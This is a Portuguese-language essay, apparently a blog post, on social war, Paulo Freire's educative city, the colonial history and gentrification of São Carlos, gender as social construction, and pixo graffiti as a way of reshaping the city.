&lt;p>China, Coréia, Alemanha, Cuba, Afeganistão, Irã, Arábia Saudita, Turquia, Grécia, Hungria, Brasil, Iraque, Guatemala, Indonésia, Sumatra, Congo, Guiana, Vietnã, Sérvia, Tchecoslováquia, República Dominicana, Palestina…&lt;/p>
&lt;p>A Guerra Social tem características interessantes. Se expressam pela sua aparência subterrânea (lê-se: abaixo do terra), naturalizada e cotidiana. A violência causada por ela, as mortes que ela mata, são lidos como “as coisas da vida, da &lt;em>realidade”&lt;/em>. Somos ensinados a pensar assim, a Guerra Social é um projeto pedagógico. Segundo a historiadora Joana Salém Vasconcelos em seu artigo “Entre a guerra social e a crise política”, de 2014:&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>Segundo o Mapa da Violência de 2013, pesquisa anual coordenada por Julio J. Waiselfisz, o número de assassinatos com arma de fogo no Brasil se multiplicou em 502% entre 1980 e 2010, salto muito superior ao crescimento demográfico de 60% do período (Waiselfisz, 2013a, p. 11). Recentemente, o Fórum Brasileiro de Segurança Pública (FBSP) divulgou que em 2012 ocorreram mais de 50 mil assassinatos no país, o que nos colocaria na posição de 7ª nação mais violenta do mundo (FBSP, 2013, p. 16). Nossa guerra cotidiana tem sido mais mortal e mais silenciosa, por exemplo, que a guerra civil na Síria.&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Mas esses são números, a violência que carregamos na escuridão é invisível. Apenas aqueles que olham conseguem sentir, assim como sentimos a si mesmos através da magia empática. A morte vai se dando pelo seu mistério, pelo seu desconhecido. Na era da informação, ganha aquele que consegue manipulá-la com mensagens mistas e confusas. Descredibilizar a informação de quem é assassinado pelo Estado diariamente para criar um lugar limpo para anunciantes poderem divulgar seu mais novo banco virtual. Tirar a ancestralidade daqueles quais foram roubados da Terra, esconder as pilhas de mortos pelo COVID-19 para fazer-nos duvidar da existência material de um vírus, naturalizar a violência policial ao fazer dos mortos um personagem de vilões sociais que merecem punição. Ridicularizar uma cultura e uma linguagem marginalizada com a produção de contas falsas nas redes sociais.&lt;/p>
&lt;p>A manifestação de um novo mundo está nos dando sinais. Devemos ser prudentes e pensar se estamos sendo criadores e manifestantes, ou se estamos sendo alienados, sendo usado de objeto mágico-tecnológico para alguns poucos que tem poder, poderem se manifestar, expansivamente, universalmente, colonizando o mundo “real”. Tudo isso não é só um ato de dominação, ou tecnológico, ou ainda unicamente mágico, mas um ato pedagógico.&lt;/p>
&lt;p>A educação é o conhecimento que se passa de uma pessoa a outra. Ela nos da uma cosmovisão de realidade e nos dá poder para transformá-la e dialogar sobre. Quem a controla, controla a realidade em si, define a sociedade, cataloga as identidades reais, controla o passado, presente e futuro alterando as próprias viagens temporais das pessoas. Decide os seus papéis no mundo que nós mesmos criamos. Altera a visão de mundo ao xeno, ao outro, de fora, alterando as viagens espaciais dos educandos, que viram alunos dessa dominação, pessoas sem luz. Devemos ser atentos ao pensar em que realidade vivemos e quem a entregou a nós. E se essa realidade nos educa para matar e sermos mortos ou nos faz aprender a libertar e ser liberto.&lt;/p>
&lt;h3 id="01000101-01000100-01010101-01000011-01000001-11000111-11000011-01001111">01000101 01000100 01010101 01000011 01000001 11000111 11000011 01001111&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="1*gfJfOt76kT5rPO7PzzkPfA.png" src="https://cypherpunks.com.br/stuff/1%2AgfJfOt76kT5rPO7PzzkPfA.png" loading="lazy"
width="1143" height="927"
/>
&lt;/p>
&lt;blockquote>
&lt;p>A repressão é a tentativa de um mundo decadente de sufocar os novos mundos em sua ascendência. Nós resistimos à todas as formas dessa tentativa. […] O Estado tem seus meios discretos de disposição. A criminalização dos parques públicos anda de mãos dadas com a proliferação dos aplicativos de cruzada cibernética. […] O compartilhamento de imagens de corpos em particular, através das redes sociais, nos droga com sua luz azulada e nos distrai da execução destes mesmos corpos. Só chegamos aqui lutando contra a repressão em todas as suas formas. Aprenda com aquelus que lutaram antes de você. Fique atento aos mundos que estão lutando em sua volta e suas maneiras diferentes para qual. Precisaremos de todas as variadas técnicas contra o nosso inimigo comum. Precisaremos também de técnicas de cura. Nós herdamos os traumas das tentativas falhas do passado. Mas podemos escolher nos curar desses traumas ao invés de merda adiante.&lt;/p>
&lt;/blockquote>
&lt;p>— Mary Nardiny Gang, Be Gay Do Crime. 2018.&lt;/p>
&lt;p>Em 1992, Paulo Freire escreveu um pequeno texto chamado Cidades Educativas. Além de reafirmar o que ele havia tecido e aprofundado em seus livros mais renomeados — como a posição do homem eternamente incompleto em permanente estado de busca à utopia do &lt;em>ser mais&lt;/em> — ele também constrói algo valioso quanto à educação fora da escola ao falar sobre as cidades. No texto, ele também discute a natureza da humanidade. Para ele, o humano “veio virando o que vem sendo: não apenas um ser finito, inconcluso, inserido num permanente movimento de busca, mas um ser consciente de sua finitude. Um ser que, vocacionado para ser mais pode, historicamente, porém, perder seu endereço e, distorcendo sua vocação, desumanizar-se.”&lt;/p>
&lt;p>A ideia do ser humano incompleto, consciente de sua incompletude, é algo que ele aborda bastante, mas não é o primeiro a abordar. A diferença se assegura na postura e prática de tal. Enquanto em Tao Te Ching fala-se sobre a incompletude e sua consciência de tal a partir da não-ação, por exemplo, Freire vai falar sobre a ação em práticas pedagógicas, que deem acesso ao humano &lt;em>ser&lt;/em> mais em um caminho não há fim. Traçando mais as diferenças dessas duas filosofias, apesar de partirem de uma origem parecida, Freire continua dizendo que “esta vocação para o ser mais que não se realiza na inexistência de ter, na indigência, demanda liberdade, possibilidade de decisão, de escolha, de autonomia. Para que os seres humanos se movam no tempo e no espaço no cumprimento de sua vocação, na realização de seu destino, obviamente não no sentido comum da palavra, […] é preciso que se envolvam permanentemente no domínio político, refazendo sempre as estruturas sociais, econômicas, em que se dão as relações de poder e se geram as ideologias.”&lt;/p>
&lt;p>É preciso, segundo ele, a criação das condições necessárias para o seguimento do destino humano em sua realização vocacional. Isso se dá a partir da luta do poder, a conquista da liberdade, na qual o humano age. A relação dos nossos corpos conscientes com e contra os outros corpos conscientes se resulta em linguagem, que atiça a curiosidade, que aprofunda a nossa existência. A importância de reconhecer essa transitividade epistemológica, que perpassa nossos corpos e se torna uma entidade viva é essencial. A crítica que se faz à postura científica, universal e absoluta, nasce nesse pensamento. O pedagogo retorna ao paradoxo socrático, do sábio ser aquele que reconhece sua própria ignorância, e avança em uma filosofia educacional quanto a isso. Freire diz que:&lt;/p>
&lt;blockquote>
&lt;p>Um dos riscos que necessariamente correríamos ao ultrapassar o nível meramente opinativo de conhecer, com a metodização rigorosa da curiosidade, era a tentação de supervalorizar a ciência e menosprezar o senso comum. Era a tentação, que se concretizou no cientificismo que, ao absolutizar de tal maneira a força e o papel da ciência, terminou por quase magicizá-la. É urgente, por isso mesmo, desmitificar e desmistificar a ciência, quer dizer, pô-la no seu lugar devido, respeitá-la, portanto. […] Consciência e mundo não podem ser entendidos separadamente, dicotomizadamente, mas em suas relações contraditórias. Nem a consciência é a fazedora arbitrária do mundo, da objetividade, nem dele puro reflexo.&lt;/p>
&lt;/blockquote>
&lt;p>A questão aqui é que nossa relação com o mundo, e a nossa visão do mundo, vem da importância educacional, que parte da nossa relação do eu consciente ao outro consciente, passando-nos a aprendizagem do &lt;em>ser mais&lt;/em>. A crítica se faz através do entendimento político, mas também à ele, na qual levanta certezas sobre o mundo em um processo essencialmente autoritário, que se apresenta na história como “redutora do &lt;em>futuro&lt;/em> a algo inexorável, ‘castra’ as mulheres e os homens na sua capacidade de decidir, de optar, mas não tem força suficiente para mudar a natureza mesma da História.”&lt;/p>
&lt;p>A educação não seria necessariamente a origem dessa relação inter-consciente, mas uma ferramenta na &lt;em>criação de mundos&lt;/em>, ferramenta tal não encontrada na prática política, que é de normalização dos mundos criados. Quando a gangue Mary Nardiny, em seus vários textos, coloca as coisas que fazem, que poderia ser lido como ativismo por muitos, como uma &lt;em>forma&lt;/em>-de-vida, e não um coletivo ou partido, e também dizem sobre não serem corpos políticos, mas sim mágicos, a ideia é parecida com essa visão educacional de reinvenção de si e do mundo, através da relação entre os seres conscientes. No caso da gangue, esses seres conscientes podem estar vivos ou não, parte do alcance da relação ancestral, no qual a educação continua em transpassagem. A radicalidade de Freire nasce na própria contradição que é estarmos vivos e agirmos dentro do mundo interconectado, e a identidade percorre essa contradição, a qual a gangue também fala quando coloca a transviadagem (the queer) como não só uma identidade, mas uma identidade negativa. Segundo Freire:&lt;/p>
&lt;blockquote>
&lt;p>Não é possível entender-me apenas como classe, ou como raça ou como sexo, mas, por outro lado, minha posição de classe, a cor de minha pele e o sexo com que cheguei ao mundo não podem ser esquecidos na análise do que faço, do que penso, do que digo. Como não pode ser esquecida a experiência social de que participo, minha formação, minhas crenças, minha cultura, minha opção política, minha esperança.&lt;/p>
&lt;/blockquote>
&lt;p>É importante delimitar novamente o processo educativo. É comum, em especial nas mais &lt;em>realistas&lt;/em> das filosofias, o entendimento da educação como algo mecânico, geralmente sistematizado, guardado dos conhecimentos exatos da natureza, entendendo-a como a expressão da ordem natural das coisas. Chamam-se de qualquer processo educativo que não perpasse por isso de fantasia.&lt;/p>
&lt;p>A nossa curiosidade não parte dessa coisa que é a razão universal, a ordem natural do mundo. A educação é caótica. Nossos saberes são nascidos e molhados de sentimentos, medos, emoções, desejos, utopias, sonhos, êxtase, dor. Não há como separá-los do nosso próprio processo, nem separar do processo dos outros, ou então da nossa relação educativa com o outro.&lt;/p>
&lt;p>A relação que se vê principalmente na política formal é o embate de mundos prontos, confiando na magia da universalidade científica, usados para atacar-se entre polos. Dizem-se palavras como “marxismo cultural” ou “alienação da direita” para, cada um desses mundos fechados, conseguirem se assegurar de suas verdades são absolutas e colocar o outro enquanto a mentira absoluta. O fato é que a verdade depende da mentira, se a mentira é inconcebível enquanto mentira, ela é fabricada.&lt;/p>
&lt;p>Não há educação, pois os mundos não se dialogam, eles não partem ao ser mais e se congelam no tempo e no espaço, isolados de qualquer mundo, sendo obrigados a fabricar um próprio em que suas verdades são absolutas. A vivência se transforma em um culto. Isso não quer dizer que alienação não exista, ou ainda que o marxismo não inspira diversas áreas da nossa sociedade atual, mas sim que esses termos são usados em sistemas de ataque, em uma &lt;em>guerra fria&lt;/em>, na qual se torna sinônimo daquele sentimento adolescente de detentor de toda a verdade, chamando aqueles que não detém-na de ignorantes ou burros. Não percebem, entretanto, que esse pragmatismo é a cegueira que os impede de ver a beleza e a inteligência contraditória dos mundos diferentes de nós.&lt;/p>
&lt;p>A educação, o ato de aprender e ensinar, se reflete em nossa própria existência. Seja ela individual, no nosso processo de desenvolvimento, ou histórico. Essa entidade, que através da comunicação e linguagem (que se retroalimenta na educação), nos mostra que, apesar de sermos mundos diferentes em meio à um não-mundo entre nós, podemos nos mostrar um ao outro e sermos mais nesse processo. Quando a deixamos livres e transitivas, vemos a beleza dessas conexões. Sem ela, estaríamos isolados em um mundo único. Talvez não seríamos ao menos humanos.&lt;/p>
&lt;p>E aí, a partir disso, tem a tentativa constante e falha por parte da Escola de sistematizar e organizar uma não-forma que é a educação que só pode existir em sua transitividade e liberdade. Prendem a educação numa jaula de concreto até que ela perca seu sentido. No processo, a própria Escola tenta definir os valores fundamentais e os conhecimentos reais, no processo ela molda a &lt;em>realidade&lt;/em> em seu próprio interesse, e além disso, ensina aos alunos que eles só podem acessar essa realidade a partir da própria escola, ela produz sua própria necessidade de existência. Paulo Freire diz que:&lt;/p>
&lt;blockquote>
&lt;p>Numa certa prática educativa não necessariamente a de escolarização, decerto bastante recente na história, como a entendemos. Daí que se possa observar facilmente quão violenta é a política da Cidade, como Estado, que interdita ou limita ou minimiza o direito das gentes, restringindo-lhes a cidadania ao negar educação para todos. […] Quer dizer, em face da omissão criminosa do Estado, as comunidades populares criam suas escolas, instalam-nas com um mínimo de material necessário, contratam suas professoras quase sempre pouco cientificamente formadas e conseguem que o Estado lhes repasse algumas verbas.&lt;/p>
&lt;p>[…] A Cidade se faz educativa pela necessidade de educar, de aprender, de ensinar, de conhecer, de criar, de sonhar, de imaginar de que todos nós, mulheres e homens, impregnamos seus campos, suas montanhas, seus vales, seus rios, impregnamos suas ruas, suas praças, suas fontes, suas casas, seus edifícios, deixando em tudo o selo de certo tempo, o estilo, o gosto de certa época. A Cidade é cultura, criação, não só pelo que fazemos nela e dela, pelo que criamos nela e com ela, mas também é cultura pela própria mirada estética ou de espanto, gratuita, que lhe damos. A Cidade somos nós e nós somos a Cidade. Mas não podemos esquecer de que o que somos guarda algo que foi e que nos chega pela continuidade histórica de que não podemos escapar, mas sobre que podemos trabalhar, e pelas marcas culturais que herdamos.&lt;/p>
&lt;/blockquote>
&lt;p>A Cidade, nesse sentido, não seria necessariamente esse lugar físico do encontro humano, mas também esse lugar subjetivo no qual o conhecimento transita entre os mundos. Ela não é impessoal, caso fosse, não seria uma Cidade, seria só um outro lugar. A Cidade se cria justamente pela nossa interação e educação contínua. Num exemplo bobo, nós iríamos ensinar-nos a construir casas, e ruas, e esgoto, e templos, e refeitórios. Iríamos ensinar-nos a cozinha para que possamos comer, a política para que possamos repartir, a tecnologia para que possamos nos ajudar. A questão aqui, que pode ser importante, é que a cidade educa, por si só, como também é educada. Nós a moldamos, e seu molde nos educa, mas podemos molda-la e seu novo molde nos educaria, e assim em um ciclo eterno.&lt;/p>
&lt;p>Apesar da visão pragmática ou a pessimista, dizer sobre as impossibilidades de mudança, aqueles que verdadeiramente enxergam a Cidade, não como algo congelado, mas como feito de pessoas e por pessoas, como algo subjetivo e mágico, e não como concreto, podem ver as possibilidades múltiplas de sua mudança através dessa relação dos mundos. Quando eu falo mágico, tendo a acreditar na magia em sua não-existência. A magia é aquilo que não-há, é a matéria escura além dos limites do universo, é o vácuo que faz com que as coisas que existem no cosmos se tornem existentes, e ela só existe em sua contraditória não-existência. Caso a magia se torna real, ela se transforma em qualquer outra coisa se não mágica. Se torna ciência, filosofia, religião. A magia depende de seu mistério, não de sua revelação.&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>Mas há um modo espontâneo, quase como se as Cidades gesticulassem ou andassem ou se movessem ou dissessem de si, falando quase como se as Cidades proclamassem feitos e fatos vividos nelas por mulheres e homens que por elas passaram, mas ficaram, um modo espontâneo, dizia eu, de as Cidades educarem. Insistamos em que até sobre esse momento.&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;h3 id="01000011-01001001-01000100-01000001-01000100-01000101-00100000-01000011-01001001-01000010-01000101-01010010-01001110-11001001-01010100-01001001-01000011-01000001">01000011 01001001 01000100 01000001 01000100 01000101 00100000 01000011 01001001 01000010 01000101 01010010 01001110 11001001 01010100 01001001 01000011 01000001&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="1*zcY7oE8qQNUJcQZIxt9PTw.png" src="https://cypherpunks.com.br/stuff/1%2AzcY7oE8qQNUJcQZIxt9PTw.png" loading="lazy"
width="760" height="648"
/>
&lt;/p>
&lt;h2 id="cidade">ci.da.de&lt;/h2>
&lt;blockquote>
&lt;p>[f. siˈdadʒi] Substantivo &lt;em>feminino&lt;/em>. &lt;strong>1.&lt;/strong> Povoação de maior amplitude e importância. &lt;strong>2.&lt;/strong> Aglomerado de pessoas que, situado numa área geograficamente delimitada, possui muitas casas, indústrias, áreas agrícolas; urbe. &lt;strong>3.&lt;/strong> A vida urbana, por oposição à rural: comportamentos da cidade. &lt;strong>4.&lt;/strong> Conjunto dos habitantes, do poder administrativo e do governo da cidade. &lt;strong>5.&lt;/strong> Grande centro industrial e comercial (em oposição ao campo). &lt;strong>6.&lt;/strong> Parte central ou o centro comercial de uma cidade. &lt;strong>7.&lt;/strong> &lt;em>Grupo de imóveis que têm a mesma destinação: cidade universitária.&lt;/em> &lt;strong>8.&lt;/strong> Grande formigueiro de saúvas. &lt;strong>9.&lt;/strong> &lt;em>Estado, nação.&lt;/em> [Do latim civitas, civitatis.]&lt;/p>
&lt;/blockquote>
&lt;p>Há alguns outros significados que o dicionário não pode compreender. Se diz sobre a cidade ser oposto ao campo, mas vindo de uma cidade que nasceu na ruralidade e foi transformada em urbana por um processo de gentrificação universitária, o valor de cidade vem a ser diferente. Em São Carlos, há duas cidades habitando o mesmo espaço geográfico: a cidade dos universitários e a cidade dos são-carlenses. Essas duas cidades são as pessoas que vivem nela, são separadas por sua história e cada uma tem seus próprios bairros, que podem coexistir também no mesmo espaço geográfico.&lt;/p>
&lt;p>Para os cidadãos da cidade antiga (os são-carlenses), o centro, por exemplo, é o lugar que acompanha a rua principal, desde a estação de trem até a rodoviária, a Avenida São Carlos, que é paralela da Avenida Alexandrina. São Carlos é o santo padroeiro do Conde do Pinhal, que foi dono de uma quantia de sesmarias rurais que iriam se transformar em cidade. O epicentro do centro é a Catedral de São Carlos, pela história de que a fundição da Igreja no local seria o primeiro vislumbre da criação de uma vila e, depois, de uma cidade.&lt;/p>
&lt;p>A cidade tem propriedades geográficas bem específicas que foram determinantes na criação da cultura. Ela é formada por grandes morros, no centro isso é extremamente visível com as numerosas subidas e descidas abruptas. No centro, se passa o rio Monjolinho, que continua sendo importante na cidade por motivos outros, e a área urbanizada ainda conta com os rios Gregório e Santa Maria do Leme. Córregos como o &lt;strong>Tijuco Preto&lt;/strong>, Simeão, Água Quente e Água Fria também estão presentes.&lt;/p>
&lt;p>Monjolinho significa “pequeno monjolo”, uma máquina rural antiga que moía grãos e funcionava por energia hidráulica. A história oral nos conta que o português, colonizador e “explorador” Brás Cubas (que nomeia uma rua em São Carlos) havia trazido a maquinaria da China e instalado em São Vincente. Outra história nos diz que a maquinaria já era presente na cultura indígena.&lt;/p>
&lt;p>São Carlos é o encontro de três vegetações diferentes: o cerrado florestal; a mata atlântica; e o cerrado savânico. Há uma crescente nova vegetação, a capoeira, um tipo de vegetação específica que nasce após o derrubamento da vegetação original. Do tupi, “ka’a” pode significar “mato”, e “uera” pode ser traduzido como “do passado”.&lt;/p>
&lt;p>Foi no centro, com um rio, entre montes, que os posseiros e bandeirantes usavam o local como abrigo e repositório. Ainda hoje, há o lugar exato que as primeiras feiras e micro-comércios foram fundadas, onde se vende chá medicinal e DVD pirata. Esses posseiros fundaram uma capela, que se tornou Igreja, que seria transformada em Catedral.&lt;/p>
&lt;p>Com a visão de construção de uma vila, segundo o atual padre da Catedral, foi necessário exterminar a população indígena que havia no lugar. Os guaianás têm, hoje, o status de “extinto”, mas acredito que “genocidados” seja uma palavra mais coerente. Foi genocidados de cultura também. Sabe-se quase nada sobre a cultura que criou essa Terra. Guaianás, no final, apenas significa “não-tupi”. A justificativa do extermínio seria que eles eram “canibais”, os fundadores da cidade pediram ajuda aos grandes proprietários de Terra e ao Estado para exterminá-los. No centro, há estátuas de bandeirantes, honrando-os pela fundação da cidade. Meu tataravô, provavelmente, fazia parte dessa etnia morta. Ele conseguiu correr mais rápido, casou-se com uma imigrante italiana e viveu trabalhando nas colônias, criou minha vô em uma delas. Provavelmente, os guaianás foram responsáveis pelo cultivo dos pinhais na região. A bandeira de São Carlos mostra um grande Pinhal, o nome original da cidade era São Carlos do Pinhal.&lt;/p>
&lt;p>Ao lado de São Carlos, há o distrito de Santa Eudoxia. A terra que pisou o Pata Seca, o homem escravizado que viveu 131 anos e teve mais de 200 filhos. O local foi um grande território caboclo.&lt;/p>
&lt;p>Tudo isso antes da chegada dos trabalhadores italianos, que vieram na proposta de construir terras em um &lt;em>novo mundo&lt;/em>, e foram jogados nas colônias (como os antigos chamam as fazendas de monocultura) para trabalhar, evitando a revolta das pessoas escravizadas. Grande parte da população pobre é dividida geograficamente. Há os bairros dos descendentes de italianos, os bairros dos descendentes africanos. Há também, nas partes mais afastadas, perto das grandes antigas casas brancas, os bairros dos ricos e influentes da cidade. Não há bairro indígena, visto que não sobrou quase nenhum.&lt;/p>
&lt;p>Toda essa diarreia verborrágica-histórica pode ilustrar como nós construímos a cidade, as pessoas, e como a cidade constrói as pessoas, num diálogo constante entre o ambiente que construímos e as pessoas que a constroem. Os pinhais, cultivados pelos indígenas, quase não se encontram mais na cidade. Disso se nasce a chamada ancestralidade animista, onde o ambiente nos resguarda a história e a alma do passado, que nos conecta à eles. É tudo mágico, é tudo espiritual. Plantar é ato de magia, assim como matar.&lt;/p>
&lt;p>E há uma cidade emergente na cidade, a dos universitários que, em geral, residem num espaço de classe média-alta, em bairros de conforto e segurança. O centro, para eles, é diferente, e isso é mostrado na construção arquitetônica da cidade. Metade da Avenida São Carlos é composta por comércios ambulantes, individuais, e de baixo custo, tradicionais. São lugares que estão lá há séculos. Quando chove, esse espaço é inundado pelo rio Monjolinho, que cresce de maneira muito rápida e agressiva. Destrói os produtos das lojas ao redor, levanta carros, quebra vidraças. Esses lugares são geralmente mais baratos pelo risco. O outro centro é o perto da USP, onde se encontra as coisas mais caras e refinadas, destinadas ao público universitário. Esse é o centro deles.&lt;/p>
&lt;p>O espaço, e alguns bairros, foram fortemente gentrificado ao longo dos anos. A Cidade Jardim e o Vila Brasília, em especial o primeiro, é onde se encontra apartamentos e kitnets com aluguéis altos. A Vila Brasília foi, por um tempo, um espaço de ocupação das pessoas que vinham das colônias para a cidade, se dividia entre os trabalhadores italianos e a população preta. Pela sua proximidade com a UFSCar, esses foram repelidos do local. Ainda se vê famílias tradicionais italianas no lugar, muito pela crença dessa cultura ligada à passagem de propriedade e à casa familiar, e também pelo privilégio de ascensão econômica das pessoas brancas em geral. A população preta foi expelida para o Jacobucci e para o Tijuco Preto, bairros próximos. É onde os estudantes procuram droga e shows de striptease. É a casa do meu padrasto, onde os aluguéis são baratos e a morte da juventude é diária.&lt;/p>
&lt;p>Alguns ambientes que construímos, ou foram impostos à nós, nos deu uma visão e atuação de mundo diferente, que nos indica uma visão da cidade também diferente. Não nos basta uma razão única e uma verdade universal. A proposta de qualquer coisa certa absoluta nos enoja, não vemos com bons olhos. Passamos eras em que essas filosofias do único total, como a religião monoteísta e o Estado, como o Império e a Colônia, apagava outras. E apagando outras, no que digo, me refiro ao genocídio, seja de sangue ou de espírito. Eu tenho uma conexão forte com meu tataravô, mas ele foi extinto em todos os sentidos possíveis. Sua magia foi derrubada com os pinhais e sua história foi apagada dos livros. Isso aconteceu com ele, aconteceu com meu vô preto, pai de quase todas as minhas tias. Aconteceu com as pessoas que se orgulhavam de serem irracionais dentro da razão única de dominação e doentes dentro da saúde universal necropolítica. Não nos basta, não porque é errado, tirando o sentido moral disso, que nos levaria a outro tipo de totalidade. Não basta no sentido funcional: não funciona para o que queremos. Se queremos viver, em comunhão com outras vidas, isso já morreu.&lt;/p>
&lt;p>O pensamento de que podemos nos transmutar em múltiplas cidades é já um fato, não uma proposta, conhecido e replicado por novas gerações. Colocam os gen-z como uma geração essencialmente não-essencial. Aqueles que mais importam as perspectivas de mundo diferentes dentro do próprio corpo, num processo de rachadura da alma, do que a sua elevação em um mundo único. Já é sabido que essa geração não é aquela que se sente prazerosa ao crescer em uma empresa, trabalhando anos na mesmíssima coisa. Ou então a geração que vai construir a carreira universitária dessa maneira linear e pirâmidica como os mileniais se orgulham de conquistar. Não somos a geração de conquistadores, de fato temos nojo da conquista linear, somos a geração pirata. Nos vale mais invadir e destruir essas verdades únicas para libertar o povo, do que subir em uma escadinha para depois de trinta anos podermos ter uma lei o outra que nos possa entrar no mundo da razão única e participar do clubinho dominante. É a geração que vê beleza na contradição, na liberdade que, quando coletiva, é essencialmente contraditória. E entendemos a liberdade, também, de uma maneira única, no qual livro nenhum vai poder explicar para os mais velhos. Entendemos que a liberdade é caótica, algo que os taoístas já falavam há milênios. Ela reside na falta de controle individual sobre si e sobre o outro. A liberdade como uma negação, o anarquismo como anarquia.&lt;/p>
&lt;p>Não somos a geração que vai ficar em São Carlos, ou então que vai sair dela. É a geração que vai se libertar habitando nela e em várias outras cidades, ao mesmo tempo, em um processo transcendental de identidade. Pegamos um pouquinho daqui e um pouquinho dali. Somos insuficientes para serem cidadãos plenos em qualquer cidade, por isso vivemos na ilegalidade, e é na ilegalidade que vemos a liberdade plena para sermos cidadãos de todo o cósmos e, ao mesmo tempo, de lugar algum.&lt;/p>
&lt;p>O horror cósmico não é lido como era antes, muito menos reescrito. Não tememos Cthulhu, nós admiramos ele.&lt;/p>
&lt;h3 id="01000011-01001111-01001110-01010011-01010100-01010010-01010101-11000111-11000011-01001111">01000011 01001111 01001110 01010011 01010100 01010010 01010101 11000111 11000011 01001111&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="0*Yzl6aaNqrfM6Osq-.jpg" src="https://cypherpunks.com.br/stuff/0%2AYzl6aaNqrfM6Osq-.jpg" loading="lazy"
width="1400" height="1400"
/>
&lt;/p>
&lt;blockquote>
&lt;p>— Nesta direção — disse o Gato, girando a pata direita — mora um Chapeleiro. E nesta direção…— apontando com a pata esquerda — …mora uma Lebre de Março. Visite quem você quiser quiser, são ambos loucos.&lt;/p>
&lt;p>— Mais eu não ando com loucos. — observou Alice.&lt;/p>
&lt;p>— Oh, você não tem como evitar. — disse o Gato — Somos todos loucos por aqui. Eu sou louco. Você é louca.&lt;/p>
&lt;p>— Como é que você sabe que eu sou louca? — disse Alice.&lt;/p>
&lt;p>— Você deve ser. — disse o Gato — Senão não teria vindo para cá.&lt;/p>
&lt;/blockquote>
&lt;p>— Lewis Carroll, Alice no País das Maravilhas. 1865.&lt;/p>
&lt;p>Construção social é um termo complicado. É geralmente entendido quando colocamos fora das questões políticas das guerras sociais, mas a partir do momento que discutimos isso quanto à gênero e, consequentemente, à sexualidade, a discussão vira uma guerra de poder e defesa das normas sociais.&lt;/p>
&lt;p>Na metafísica, principalmente nos estudos de Charlotte Witt, a ideia é de reconhecer a construção do gênero, mediada socialmente, a partir da função reprodutiva. Nesse caso, aliás, fica impossível dizer que gênero e sexualidade são coisas diferentes. A construção do gênero é tal justamente pela reprodução, que é heterossexual. Isso não quer dizer, entretanto, que há valor natural nessa construção. A reprodução é uma capacidade humana, mas ser nosso destino social e pessoal já é uma leitura dessa capacidade, e não a capacidade em si. Se transamos por prazer em um mundo populoso como o nosso, não há razão de manter essa ideia. Aliás, já conseguimos nos reproduzir sem a necessidade do sexo heteroafetivo. E há contradições ao pensamento de que a reprodução é natural, logo os gêneros binários e a heterossexualidade cristã também é natural: se a reprodução é nosso dever social e individual e a construção de gênero é natural portanto, ela deveria ser livre, e não monogâmica, fortalecendo a reprodução da espécie.&lt;/p>
&lt;p>Só entendemos a construção social quando estudamos teatro. Só entendemos a pedagogia da construção social quando estudamos arquitetura. Refletindo o que nos faz cair tão rapidamente na crença de que o Paulo Gustavo, em Minha Mãe é uma Peça, é uma típica mãe do sudeste brasileiro. Para além, na reflexão de quais sinais verbais e não verbais nos fazem crer nisso. O que faz a Riplay humana, o que faz os andróides andróides, e o que faz o xenomorfo um monstro.&lt;/p>
&lt;p>A construção social se mantém. Pegamos coisas sobre o que é ser homem e mulher das gerações passadas e da cultura e as continuamos. Refletimos ela em nossas construções que constroem as próximas gerações. Tudo isso se dá através da educação, formal ou não. Se pegarmos uma pessoa sem noção de gênero nenhuma, uma pessoa que isolou-se de qualquer indicio que ao menos há alguma divisão de gênero, digamos que ela nasceu sozinha no espaço e foi criada por uma IA, e a colocasse no centro de São Paulo, ela rapidamente irá aprender e se identificar, através do conjunto de características que são definidas para cada gênero. Por exemplo, ao entrar em qualquer restaurante, irá ver dois banheiros com símbolos diferentes. Essa pessoa terá que entrar em algum. Se ela entrar em um, será aceita. Se no outro, não. Construímos a Cidade conforme nossos aprendizados, nós ensinamos a ela nossos consumes, e ela nos ensina de volta. Isso é animismo, aliás. As construções sociais são retroalimentativas, elas se conversam e se mantém através da educação.&lt;/p>
&lt;p>A Cidade tem a potência tanto educadora como educada. Ela constrói enquanto é construída. Ela molda nossa visão mais íntima e revela nós mesmos. Nos lugares do planeta e da história com muitos rios, a filosofia vai falar sobre sua fluência e a visão de mundo a partir delas. Nos lugares com muito deserto, a filosofia será do paraíso refúgio, do Eden, lugar perfeito entre o deserto. Nos lugares de ilhas, as filosofias vão falar sobre seus movimentos, sobre sua lentidão, caoticidade, capacidade de criação e destruição massiva dos vulcões ilhados.&lt;/p>
&lt;p>Aqueles que moldam a Cidade, não enquanto lugar, mas enquanto magia, moldam também a filosofia, a ciência, a política. Aquele que molda a Cidade molda a forma mais pura e funcional da educação. Quem constrói os muros cinzas, quem joga populações e culturas inteiras em favelas, quem define suas propriedades estáticas e eternas, educa, e educa em massas. Há toda uma &lt;em>arquitetura&lt;/em> disso. A importância de movimentos como o pixo, por exemplo, vem justamente nisso. Na luta contra o poder de educar, se educa com as próprias mãos. O pixo educa tanto quanto a parede cinza e nos mostra justamente que a Cidade é construída por nós, que temos o poder de construí-la, poder tal que nos foi roubado. Ao construí-la, educamos os outros, compartilhamos a educação que foi roubada.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.youtube.com/embed/skGyFowTzew" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" allowfullscreen title="YouTube Video">&lt;/iframe>
&lt;/div>
&lt;p>Não vou presumir que nosso dever social é esse, ou presumir que ao menos há algum dever social inerente à nós, mas acredito que os movimentos anti-dominação foram estagnados e impedidos desse tipo de ação. Estão completamente paralisados, transformados em partidos frouxos e sindicatos pelegos. &lt;em>Não se educa seus valores usando as mesmas ferramentas do dominador&lt;/em>, isso nunca pareceu tão claro pra mim e é óbvio para muitos que educam.&lt;/p>
